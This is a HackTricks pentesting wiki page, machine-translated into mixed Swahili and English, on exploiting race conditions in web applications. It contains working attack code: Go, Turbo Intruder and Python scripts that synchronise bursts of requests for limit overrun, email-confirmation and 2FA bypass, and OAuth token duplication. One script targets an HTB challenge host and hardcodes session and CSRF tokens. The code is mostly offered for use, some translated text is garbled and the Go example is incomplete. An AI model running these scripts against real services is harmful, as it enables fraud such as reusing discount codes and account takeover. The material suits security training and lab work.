Race Condition
Reading time: 17 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na š¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter š¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
warning
Kwa kupata uelewa wa kina wa tekniki hii angalia ripoti ya awali katika https://portswigger.net/research/smashing-the-state-machine
Kuboresha Race Condition Attacks
Kizuizi kikuu katika kunufaika na race conditions ni kuhakikisha kwamba multiple requests zinashughulikiwa kwa wakati mmoja, na tofauti ndogo sana katika nyakati zao za usindikajiākikamilifu, chini ya 1ms.
Hapa kuna mbinu za kusanifisha Requests:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Inasaidia kutuma two requests juu ya single TCP connection, ikipunguza athari za network jitter. Hata hivyo, kutokana na server-side variations, two requests zinaweza zisitoshe kwa exploit ya race condition inayorudiwa.
- HTTP/1.1 'Last-Byte Sync': Inaruhusu kutuma mapema sehemu kubwa za requests 20-30, ukiacha kipande kidogo, ambacho kisha kitatumwa pamoja, ikifanikisha kuwasili kwa wakati mmoja kwenye server.
Maandalizi ya Last-Byte Sync ni pamoja na:
- Kutuma headers na body data isipokuwa byte ya mwisho bila kumaliza stream.
- Kusimama kwa 100ms baada ya awamu ya kwanza ya kutuma.
- Kuzima TCP_NODELAY ili kutumia Nagle's algorithm kwa kupeleka final frames pamoja.
- Kutuma ping ili kuchemsha connection.
Kutumwa kwa frames zilizohifadhiwa baadae kunapaswa kusababisha kuwasili kwa packet moja, kuthibitishwa kwa Wireshark. Mbinu hii haifai kwa static files, ambazo hazihusiki kawaida na RC attacks.
HTTP/3 LastāFrame Synchronization (QUIC)
- Concept: HTTP/3 inaendeshwa juu ya QUIC (UDP). Hakuna TCP coalescing au Nagle ya kutegemea, hivyo classic lastābyte sync haifanyi kazi na wateja wa kawaida. Badala yake, unahitaji kwa makusudi kuunganisha multiple QUIC streamāfinal DATA frames (FIN) katika datagram moja ya UDP ili server isindikize requests zote katika scheduling tick moja.
- How to do it: Tumia library iliyobuniwa kwa kusudi inayoonyesha udhibiti wa QUIC frames. Kwa mfano, H3SpaceX inachanganya quic-go kutekeleza HTTP/3 lastāframe synchronization kwa requests zenye body na requests za GET bila body.
- Requestsāwithābody: tuma HEADERS + DATA isipokuwa byte ya mwisho kwa N streams, kisha flush byte ya mwisho ya kila stream pamoja.
- GETāstyle: unda fake DATA frames (au body ndogo yenye ContentāLength) na akhirisha streams zote katika datagram moja.
- Practical limits:
- Concurrency imefungwa na peerās QUIC max_streams transport parameter (sawa na HTTP/2ās SETTINGS_MAX_CONCURRENT_STREAMS). Ikiwa ni ndogo, fungua multiple H3 connections na gawanya race kati yao.
- UDP datagram size na path MTU huweka uwezo wa kuunganisha streamāfinal frames. Library inaweza kugawanya kuwa datagrams nyingi endapo inahitajika, lakini flush ya singleādatagram ndio ya kuaminika zaidi.
- Practice: Kuna maabara za H2/H3 race na sample exploits zinazofuatana na H3SpaceX.
HTTP/3 lastāframe sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Kujirekebisha kwa Miundo ya Seva
Kuelewa usanifu wa lengo ni muhimu. Seva za front-end zinaweza kupitisha maombi kwa njia tofauti, jambo linaloathiri muda. Kupasha moto muunganisho upande wa seva kwa kutumia maombi yasiyo ya maana kunaweza kusawazisha muda wa maombi.
Kushughulikia Kufungwa Kunategemea Session
Mifumo kama PHP's session handler hufanya serialization ya maombi kwa kila session, jambo ambalo linaweza kuficha udhaifu. Kutumia session tokens tofauti kwa kila ombi kunaweza kuzunguka tatizo hili.
Kushinda Viwango au Vizuizi vya Rasilimali
Ikiwa kupasha moto muunganisho hakutaleta matokeo, kusababisha kwa makusudi ucheleweshaji wa viwango au vikwazo vya rasilimali kwa web servers kupitia wingi wa maombi ya bandia kunaweza kurahisisha single-packet attack kwa kuanzisha ucheleweshaji upande wa seva unaofaa kwa race conditions.
Mifano ya Mashambulizi
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Unaweza kutuma ombi kwa Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), unaweza kubadilisha katika ombi thamani unayotaka kujaribu kwa nguvu kwa%s
kama katikacsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
kisha uchagueexamples/race-single-packer-attack.py
kutoka kwenye menyu inayoshuka:
.png)
Ikiwa utataka kutuma thamani tofauti, unaweza kubadilisha code kwa hii ambayo inatumia wordlist kutoka clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Ikiwa wavuti haitegemei HTTP2 (tu HTTP1.1) tumia Engine.THREADED
au Engine.BURP
badala ya Engine.BURP2
.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Ikiwa unahitaji kutuma ombi kwa endpoint 1 kisha kadhaa kwa endpoints nyingine ili kusababisha RCE, unaweza kubadilisha
race-single-packet-attack.py
script na kitu kama:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Pia inapatikana katika Repeater kupitia chaguo jipya 'Send group in parallel' ndani ya Burp Suite.
- Kwa limit-overrun unaweza kuongeza tu the same request 50 times ndani ya group.
- Kwa connection warming, unaweza add mwanzoni mwa group baadhi ya requests kwa sehemu zisizo-static za web server.
- Kwa delaying mchakato between kusindika one request and another katika hatua mbili za substates, unaweza add extra requests between maombi hayo mawili.
- Kwa multi-endpoint RC unaweza kuanza kutuma request inayokwenda kwenye hidden state kisha 50 requests mara moja baada yake ambazo zinatumia hidden state.
.png)
- Automated python script: Lengo la script hii ni kubadilisha email ya mtumiaji huku ikithibitisha mara kwa mara hadi verification token ya email mpya ifike kwenye email ya mwisho (hii ni kwa sababu katika code ilionyesha RC ambapo ilikuwa inawezekana kubadilisha email lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu variable inayotambua email ilikuwa tayari imejazwa na ile ya kwanza).
Wakati neno "objetivo" linapopatikana katika emails zilizopokelewa tunajua tumepokea verification token ya email iliyobadilishwa na tunamaliza shambulio.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: vidokezo kuhusu engine na gating
- Uchaguzi wa engine: tumia
Engine.BURP2
kwenye HTTP/2 targets ili kuanzisha the singleāpacket attack; tumiaEngine.THREADED
auEngine.BURP
kama fallback kwa HTTP/1.1 lastābyte sync. gate
/openGate
: queue many copies withgate='race1'
(or perāattempt gates), ambazo zinazuia tail ya kila request;openGate('race1')
hutoa tails zote pamoja ili ziwasilie karibu kwa wakati mmoja.- Diagnostics: negative timestamps katika Turbo Intruder zinaonyesha server ilijibu kabla request ilikamilika kutumwa, ikithibitisha overlap. Hii ni kawaida katika true races.
- Connection warming: tuma ping au requests chache zisizo na madhara kwanza ili thabiti timings; kwa hiari zima
TCP_NODELAY
ili kuhamasisha batching ya final frames.
Improving Single Packet Attack
Katika utafiti wa awali ilielezwa kuwa attack hii ina kikomo cha 1,500 bytes. Hata hivyo, katika this post, ilielezewa jinsi ilivyowezekana kupanua kikomo cha 1,500-byte cha single packet attack hadi 65,535 B window limitation of TCP by using IP layer fragmentation (splitting a single packet into multiple IP packets) na kuvituma kwa mpangilio tofauti, ikiruhusu kuzuia kuunganisha packet hadi fragments zote zifikie server. Mbinu hii ilimuruhusu mtafiti kutuma requests 10,000 kwa takriban 166ms.
Kumbuka kwamba ingawa uboreshaji huu unafanya attack kuwa ya kuaminika zaidi kwa RC zinazohitaji mamia/elafu za packets kufika kwa wakati mmoja, inaweza pia kuwa na vikwazo vya software. Baadhi ya HTTP servers maarufu kama Apache, Nginx na Go zina seti kali ya SETTINGS_MAX_CONCURRENT_STREAMS
kwa 100, 128 na 250. Hata hivyo, wengine kama NodeJS na nghttp2 wanaeza kuwa unlimited.
Hii kwa kimsingi ina maana Apache itachukulia tu 100 HTTP connections kutoka kwa single TCP connection (kikizuia RC attack hii). Kwa HTTP/3, kikomo kinachofanana ni transport parameter ya QUICās max_streams ā ikiwa ni ndogo, gawanya your race kwenye multiple QUIC connections.
Unaweza kupata baadhi ya mifano ikitumia mbinu hii kwenye repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Kabla ya utafiti uliotangulia hizi zilikuwa baadhi ya payloads zilizotumika ambazo zilijaribu tu kutuma packets haraka iwezekanavyo ili kusababisha RC.
- Repeater: Angalia mifano kutoka sehemu iliyotangulia.
- Intruder: Tuma the request kwa Intruder, weka number of threads kuwa 30 ndani ya Options menu, chagua kama payload Null payloads na tengeneza 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
Hii ni aina ya msingi kabisa ya race condition ambapo vulnerabilities ambazo appear katika maeneo yanayofunga idadi ya nyakati unaweza kufanya kitendo. Kama kutumia code ya punguzo mara nyingi kwenye duka la mtandaoni. Mfano rahisi unaweza kupatikana katika this report au katika this bug.
Kuna utofauti mwingi wa aina hii ya shambulio, ikijumuisha:
- Kutumia gift card mara kadhaa
- Kukadiria bidhaa mara kadhaa
- Kutoa au kuhamisha fedha zaidi ya salio la akaunti yako
- Kutumia tena suluhisho la CAPTCHA moja
- Kukwepa anti-brute-force rate limit
Hidden substates
Exploiting complex race conditions mara nyingi inajumuisha kuchukua faida ya fursa fupi za kuingiliana na hidden au unintended machine substates. Hapa ni jinsi ya kukaribia hili:
- Identify Potential Hidden Substates
- Anza kwa kubaini endpoints zinazobadilisha au kuingiliana na data muhimu, kama user profiles au mchakato wa password reset. Zingatia:
- Storage: Pendelea endpoints zinazoshughulikia data endelevu upande wa server kuliko zile zinazoshughulikia data upande wa client.
- Action: Tafuta operations zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda mazingira yanayoweza kushambuliwa ikilinganishwa na zile zinazoongeza data mpya.
- Keying: Mashambulio yanayofanikiwa kawaida yanahusisha operations zinazotegemea kitambulisho kimoja, mfano username au reset token.
- Conduct Initial Probing
- Jaribu endpoints uliyozitambua kwa race condition attacks, ukitazama ikiwa kuna tofauti yoyote kutoka matokeo yaliyotarajiwa. Majibu yasiyotegemewa au mabadiliko katika tabia ya application yanaweza kuashiria udhaifu.
- Demonstrate the Vulnerability
- Punguza shambulio hadi idadi ndogo ya requests zinazohitajika ku-exploit the vulnerability, mara nyingi mbili tu. Hatua hii inaweza kuhitaji majaribio mengi au automation kutokana na timing sahihi inayohitajika.
Time Sensitive Attacks
Usahihi wa timing ya requests unaweza kufichua vulnerabilities, hasa wakati mbinu zinazotabirika kama timestamps zinatumiwa kwa security tokens. Kwa mfano, kutengeneza password reset tokens kulingana na timestamps kunaweza kuruhusu tokens sawia kwa requests zinazofanywa kwa wakati mmoja.
To Exploit:
- Tumia timing sahihi, kama shambulio la single packet, kufanya concurrent password reset requests. Tokens sawa zinaashiria vulnerability.
Example:
- Omba password reset tokens mbili kwa wakati mmoja na linganisha. Tokens zinazolingana zinaonyesha hitilafu katika token generation.
Check this PortSwigger Lab to try this.
Hidden substates case studies
Pay & add an Item
Check this PortSwigger Lab kuona jinsi ya pay kwenye duka na add an extra item ambayo hautalazimika kuilipa.
Confirm other emails
Wazo ni verify an email address and change it to a different one at the same time ili kugundua kama platform inathibitisha ile mpya iliyobadilishwa.
Change email to 2 emails addresses Cookie based
Kwa mujibu wa this research Gitlab ilikuwa hatarini kwa takeover kwa njia hii kwa sababu inaweza send the email verification token of one email to the other email.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
Ikiwa 2 different writes zimetumika kuongeza information ndani ya database, kuna sehemu ndogo ya muda ambapo data ya kwanza tu imeandikwa ndani ya database. Kwa mfano, wakati wa kuunda user jina la mtumiaji (username) na password zinaweza kuandikwa kisha token ya kuthibitisha akaunti mpya inaandikwa baadaye. Hii inamaanisha kwa muda mfupi token to confirm an account is null.
Kwa hiyo kurejesha akaunti na kutuma requests kadhaa zenye token tupu (token=
au token[]=
au aina nyingine yoyote) kuthibitisha akaunti mara moja kunaweza kuruhusu kuthibitisha akaunti ambayo huudhibiti barua pepe yake.
Check this PortSwigger Lab to try this.
Bypass 2FA
Pseudo-code ifuatayo ina vulnerable kwa race condition kwa kuwa kwa muda mdogo sana 2FA is not enforced wakati session inaandikwa:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 uhifadhi wa kudumu
There are several OAUth providers. Huduma hizi zinakuwezesha kuunda programu na kuthibitisha watumiaji ambao provider amewasajili. Ili kufanya hivyo, client itahitaji permit your application kupata baadhi ya data zao ndani ya OAUth provider.
Kwa hivyo, mpaka hapa ni login ya kawaida na google/linkedin/github... ambapo utaonyeshwa ukurasa unaosema: "Application
Race Condition in authorization_code
The problem inaonekana wakati wewe accept it na inamtumia kwa kiotomatiki authorization_code
kwa application mbaya. Then, this application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) kutoka kwa authorization_code
kwa akaunti yako. Kwa msingi, itatumia ukweli kwamba umeaccept application kufikia data zako ili create several accounts. Kisha, ikiwa utastop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid.
Race Condition in Refresh Token
Mara baada ya kuwa ume obtained a valid RT unaweza kujaribu abuse it to generate several AT/RT na even if the user cancels the permissions kwa application mbaya kufikia data yake, several RTs will still be valid.
RC in WebSockets
- In WS_RaceCondition_PoC unaweza kupata PoC kwa Java ya kutuma websocket messages kwa parallel ili kutumia Race Conditions also in Web Sockets.
- Kwa kutumia Burpās WebSocket Turbo Intruder unaweza kutumia engine ya THREADED kuzalisha muunganisho nyingi za WS na kupiga payloads kwa wakati mmoja. Anza na mfano rasmi na rekebisha
config()
(thread count) kwa ajili ya concurrency; mara nyingi hii ni ya kuaminika zaidi kuliko batching kwenye muunganisho mmoja wakati ukishindana na state upandeāwaāserver kwa WS handlers. Angalia RaceConditionExample.py.
References
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder ā GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 lastāframe sync) ā Go package docs
- PacketSprinter: Simplifying HTTP/2 SingleāPacket Testing (Route Zero blog)
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na š¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter š¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.